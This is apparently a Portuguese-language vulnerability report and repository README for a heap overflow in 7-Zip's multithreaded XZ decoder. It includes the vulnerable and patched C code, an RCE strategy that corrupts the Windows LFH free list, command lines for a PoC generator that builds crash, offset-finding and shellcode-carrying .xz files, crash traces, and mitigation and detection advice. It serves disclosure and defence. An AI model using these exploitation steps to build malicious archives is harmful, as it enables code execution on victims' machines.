CVE-2026-14266 — Estouro de Buffer na Heap no Decodificador XZ do 7-Zip

Severidade Crítica | CVSS: 8.8 (Alta) | CWE-122: Estouro de Buffer Baseado em Heap
Afetados: 7-Zip ≤ 26.01 | Corrigido: 7-Zip 26.02 (2026-06-25)
Descoberto e Analisado por: Li Yuxuan (liyuxuan504-byte) e equipe

Resumo Executivo

Existe um estouro de buffer na heap no caminho de decodificação XZ multithread do 7-Zip versões ≤ 26.01. Um arquivo .xz criado de forma maliciosa pode acionar uma escrita fora dos limites além do buffer de saída alocado na heap, levando a:

• Negação de Serviço (confirmada) — travamento confiável com STATUS_ACCESS_VIOLATION (0xC0000005)
• Execução Remota de Código (potencial) — o estouro de heap controlado permite a corrupção de ponteiros de função / vtable sob as condições certas de layout da heap

A vulnerabilidade reside em MixCoder_Code() em C/XzDec.c, onde o ramo SingleBuf (outBuf) passa um destLen2 não verificado ao decodificador LZMA2 sem limitá-lo contra a capacidade restante do buffer (outBufSize - outWritten).

Qualquer sistema ou aplicação que use um 7-Zip vulnerável (ou 7z.dll) para extrair arquivos .xz não confiáveis está em risco — o caminho multithread é habilitado por padrão em sistemas multi-core.

Análise Aprofundada da Vulnerabilidade

Caminho de Código Afetado

XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← NO boundary clamp
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← can exceed dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            → dicPos exceeds dicBufSize → HEAP OVERFLOW

Causa Raiz (26.01 vs 26.02)

Vulnerável (26.01) — C/XzDec.c ~L606:

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← tracks total but never checks
}

Corrigido (26.02) — C/XzDec.c ~L605:

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency → abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

A correção tem 3 linhas. Ela subtrai p->outWritten (bytes já gravados neste outBuf) de destLen2 antes de passá-lo ao decodificador LZMA2, garantindo que o decodificador nunca possa gravar além do buffer alocado.

Por Que Apenas Multithread?

No caminho single-thread, XzUnpacker_Code aplica seu próprio limite rem baseado em unpackSize antes de chamar MixCoder_Code. Esse limite restringe corretamente a saída. O caminho SingleBuf multithread ignora esse limite, pois passa destLenOrig diretamente — o limite a montante é ineficaz quando destLen é pré-definido para o tamanho total restante da entrada, em vez da capacidade real restante do buffer.

Análise de Exploração

Comportamento da Alocação na Heap

O outBuf é alocado na heap da CRT via ISzAlloc_Alloc(allocMid, unpackSize):

Estratégia de RCE (Caminho LFH)

A abordagem de exploração mais promissora:

1. Use um unpackSize pequeno (256–16384 bytes) para acionar a alocação no LFH
2. Estoure além do outBuf em subsegmentos adjacentes do LFH
3. Corrompa o ponteiro next da lista livre (free-list) do LFH → obtém primitiva de alocação arbitrária
4. Aloque sobre um alvo (ponteiro de função, vtable, endereço de retorno)
5. Acione o ponteiro corrompido → execução de código

Status Atual

Por Que a Depuração É Complicada

Depuradores convencionais (x64dbg, WinDbg) alteram o comportamento de criação de processos. Sob um depurador, 7z.dll pode nunca carregar o caminho XZ multithread — o processo silenciosamente volta ao modo single-thread, onde a vulnerabilidade não é acionada. A abordagem necessária foi:

• Iniciar o 7z.exe fora do depurador
• Anexar em 1–2 segundos (antes do crash)
• Ou usar um mini-depurador personalizado (fornecido em tools/)

Gerador de PoC

poc/poc-cve-2026-14266-rce.py é um gerador de exploits XZ completo:

Início Rápido

# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

Parâmetros Principais

Acionamento

# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL

Resultados de Testes

Testado em: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00

Insight principal: Todas as alocações na faixa de LFH (≤16 KB) produzem estouros silenciosos — os dados do payload são gravados em objetos adjacentes da heap sem um crash imediato. Este é o pré-requisito para a exploração de RCE.

Ponto de Crash (Depuração ao Vivo)

De uma sessão ao vivo do x64dbg (7-Zip 26.00, caminho MT):

Fault instruction:  mov byte ptr [rcx], r11b
Fault address:      msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx):     0x12363C50002 = outBuf_base + 0x40002
                    (2 bytes past the 0x40000-byte outBuf)

Decoder struct (rbx = 0x12363B0BB00):
  +0x28: outBuf base   = 0x12363C10000
  +0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
  +0x38: write cursor  = 0x40000 (ALREADY FULL when overflow begins)

Call chain:
  msvcrt!memcpy
  ← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
  ← 7z.dll+0x1305D5
  ← 7z.dll+0x13071B (XZ multi-threaded decode entry)
  ← ntdll.dll+0x1D141 (thread start)

Mitigação e Detecção

Mitigação

• Atualize para o 7-Zip 26.02 ou superior (correção em C/XzDec.c)
• Solução alternativa: Force a extração single-thread: 7z x -mmt=1 <file.xz>
• Defesa em profundidade: Habilite a Proteção contra Exploração do Windows (CFG, ACG, verificações de integridade da heap)

Detecção

• Monitore o 7z.exe saindo com status 0xC0000005 durante a extração
• Fique atento a erros de corrupção de heap do 7z.exe (0xC0000374)
• Detecção YARA / rede: Procure por blocos XZ onde o total de dados do copy-chunk LZMA2 excede o unpackSize declarado

Arquivos Neste Repositório

├── README.md                          ← This report
├── src-diff/
│   └── XzDec.diff.txt                 ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│   └── poc-cve-2026-14266-rce.py      ← PoC generator (cyclic/shellcode/raw)
├── tools/
│   ├── 04-heap-analyze.ps1            ← x64dbg MCP automation for heap layout
│   ├── 05-mini-debugger.ps1           ← C# Win32 debug API mini-debugger
│   └── 06-guard-dump.ps1              ← Guard-page heap dumper (LFH analysis)
└── docs/
    ├── 01-crash-point-analysis.md     ← Live crash trace (x64dbg)
    ├── 02-vulnerability-root-cause.md ← Full root cause analysis
    └── 03-rce-exploit-plan.md         ← RCE exploitation strategy

Linha do Tempo

Referências

• 7-Zip Oficial
• Código-fonte do 7-Zip (ip7z/7zip)
• CWE-122: Estouro de Buffer Baseado em Heap
• Detalhes internos do LFH no Windows

Aviso Legal

Este relatório destina-se exclusivamente a fins educacionais e de pesquisa defensiva em segurança. O código PoC é fornecido para ajudar pesquisadores de segurança e defensores a entender a vulnerabilidade e desenvolver capacidades de detecção. Não use este código contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.